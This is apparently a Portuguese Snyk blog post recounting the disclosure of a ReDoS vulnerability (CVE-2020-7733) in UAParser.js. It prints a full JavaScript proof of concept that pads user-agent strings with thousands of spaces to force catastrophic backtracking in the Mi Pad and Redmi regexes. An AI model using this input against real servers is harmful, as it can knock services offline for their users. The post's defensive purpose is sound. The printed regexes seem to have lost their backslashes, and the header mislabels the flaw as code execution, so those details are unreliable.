Negação de serviço por expressão regular (REDoS) no UAParser.js

Boas-vindas ao Perfil Mensal de Vulnerabilidades da Snyk. Nesta série, a Snyk revisita as vulnerabilidades descobertas por ou relatadas à nossaEquipe de Pesquisa em Segurança. Escolhemos uma vulnerabilidade de destaque do mês anterior e contamos a história por trás de sua descoberta, pesquisa e divulgação. Damos destaque aos pesquisadores, desenvolvedores e usuários que ajudam a identificar e corrigir vulnerabilidades na comunidade de código aberto.

Neste mês, vamos analisar uma vulnerabilidade de negação de serviço por expressão regular (REDoS) descoberta no popular pacote JavaScript UAParser.

Vulnerabilidade:execução arbitrária de código em ua-parser-jsCVEs atribuídos: CVE-2020-7733Analista da Snyk:Asaf BitonDescoberta por:Yeting Li

A equipe de pesquisa da Snyk investigou e divulgou uma vulnerabilidade de negação de serviço por expressão regular (REDoS) no popular pacote JavaScript UAParser, relatada por um pesquisador externo.

Para ajudar a tornar a divulgação de vulnerabilidades mais fácil e eficaz para os pesquisadores, a equipe trabalha com quem relata vulnerabilidades à Snyk. Cada relato é investigado para determinar se o problema pode ser reproduzido, se representa de fato um risco de segurança no contexto do pacote e, por fim, para obter uma visão completa do risco que a vulnerabilidade pode representar para a comunidade de código aberto.

A vulnerabilidade REDoS no pacote UAParser foi relatada à Snyk pelo pesquisador externo Yeting Li. Então, vamos analisar em detalhes a vulnerabilidade, como ela foi descoberta e como a equipe de pesquisa trabalhou com o pesquisador e o mantenedor do pacote para garantir que ela fosse divulgada com responsabilidade e, por fim, corrigida.

Analisando os detalhes da vulnerabilidade REDoS

UAParser é um pacote JavaScript de análise de user-agent, voltado para uso tanto no cliente quanto no servidor. De acordo com o Snyk Advisor, o pacote UAParser tem mais de seis milhões de downloads, o que o torna bastante popular. A vulnerabilidade REDoS descoberta e divulgada neste caso estava relacionada às expressões regulares definidas para identificar navegadores em celulares Xiaomi Redmi e tablets Mi Pad.

Em sua prova de conceito, Li demonstrou que, ao acrescentar ao user-agent uma longa sequência de espaços (5.000, no caso dele), seguida de um ponto de exclamação, um invasor poderia provocar uma condição chamada retrocesso catastrófico. Essa condição pode fazer com que a verificação de uma string por uma regex demore muito mais do que o normal, consumindo recursos ou até levando o mecanismo de regex a falhar por completo. Quando direcionado ao processamento de regex em uma aplicação Node.js no servidor, isso pode fazer o servidor falhar ou deixar de responder às solicitações de outros usuários. Veja abaixo a POC completa:

var blank = " ";
for (let i = 1; i < 5000; i++) {
blank = blank + " ";
}

str_mi = "android1mipad" + blank + "!";
str_mi = str_mi + +blank + "!";
mi = /android.+(mi[s-_]*(?:pad)(?:[s_]*[ws]+))s+build/i;

var count_mi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
mi.test(str_mi);
var len = Date.now() - time;
count_mi = count_mi + len;
console.log("mi:" + blank.length + ": " + len)
}
console.log(count_mi / 10);

str_redmi = "android1redminote" + blank + "!";
redmi = /android.+(redmi[s-_]*(?:note)?(?:[s_]*[ws]+))s+build/i;
var count_redmi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
redmi.test(str_redmi);
var len = Date.now() - time;
count_redmi = count_redmi + len;
console.log("redmi:" + blank.length + ": " + len)
}
console.log(count_redmi / 10);

Para saber mais sobre vulnerabilidades REDoS, como ocorre o retrocesso catastrófico e como ele pode ser explorado, confira esta publicação do nosso blog.

Pesquisa sobre vulnerabilidades REDoS

Yeting Li é pós-graduando em pesquisa no Laboratório de Ciência da Computação do Instituto de Software da Academia Chinesa de Ciências (ISCAS). Em sua pesquisa atual para o doutorado, ele tem se dedicado a técnicas para automatizar a detecção de vulnerabilidades em regex que podem ser exploradas em ataques REDoS. Como parte desse trabalho, criou um algoritmo que usa para buscar essas vulnerabilidades em pacotes de código aberto.

No último ano, a equipe de pesquisa da Snyk trabalhou com Li em um grande número de divulgações. Pesquisador e equipe da Snyk colaboraram para tornar o processo o mais eficiente possível. A Snyk ajudou Li a definir claramente as expectativas para a elaboração dos relatos, permitindo que fossem processados rapidamente. Para a Snyk, receber um volume tão alto de divulgações de um único pesquisador foi uma situação inédita. Para facilitar a colaboração entre as partes, foi criado um repositório privado no GitHub para a troca de informações.

Em 9 de setembro de 2020, Li enviou o relato e a POC de uma vulnerabilidade REDoS que havia descoberto no pacote UAParser. Asaf Biton, da equipe de pesquisa da Snyk, ficou responsável pela investigação. Com alguns ajustes rápidos, Asaf conseguiu usar a POC fornecida para verificar que a vulnerabilidade podia ser reproduzida e representava um risco no contexto do pacote. Em menos de uma hora, Asaf enviou um e-mail ao mantenedor do pacote, informando sobre a vulnerabilidade e pedindo autorização para reservar um CVE.

Em menos de 24 horas, o mantenedor respondeu que publicaria uma correção nos dias seguintes e que autorizaria a publicação de um CVE assim que a correção estivesse disponível. Em 12 de setembro, menos de 72 horas após a divulgação inicial, o mantenedor do pacote enviou uma correção ao repositório no GitHub e avisou à Snyk que a nova versão estava disponível. Em seguida, a Snyk publicou o CVE-2020-7733 no banco de dados de CVEs e publicou o relatório completo no Snyk Vulnerability Database com o ID da Snyk SNYK-JS-UAPARSERJS-610226.

Olhando em retrospecto

Após a publicação da vulnerabilidade no banco de dados da Snyk, descobriu-se que quase 21 mil pacotes monitorados pela Snyk usavam versões vulneráveis. Graças ao esforço conjunto do pesquisador, do mantenedor do pacote e da equipe de pesquisa da Snyk, os desenvolvedores responsáveis por esses pacotes no sistema da Snyk — além de inúmeros outros que ainda não fazem parte do ecossistema Snyk — puderam ser informados sobre o problema e corrigi-lo facilmente em seu código.

Este é mais um excelente exemplo de como o compromisso da Snyk em permitir que desenvolvedores usem software de código aberto com segurança vai além dos limites da ferramenta Snyk. Nossa equipe de pesquisa continua identificando e divulgando vulnerabilidades, tanto por meio do próprio trabalho quanto em colaboração com outros pesquisadores das comunidades de segurança e código aberto.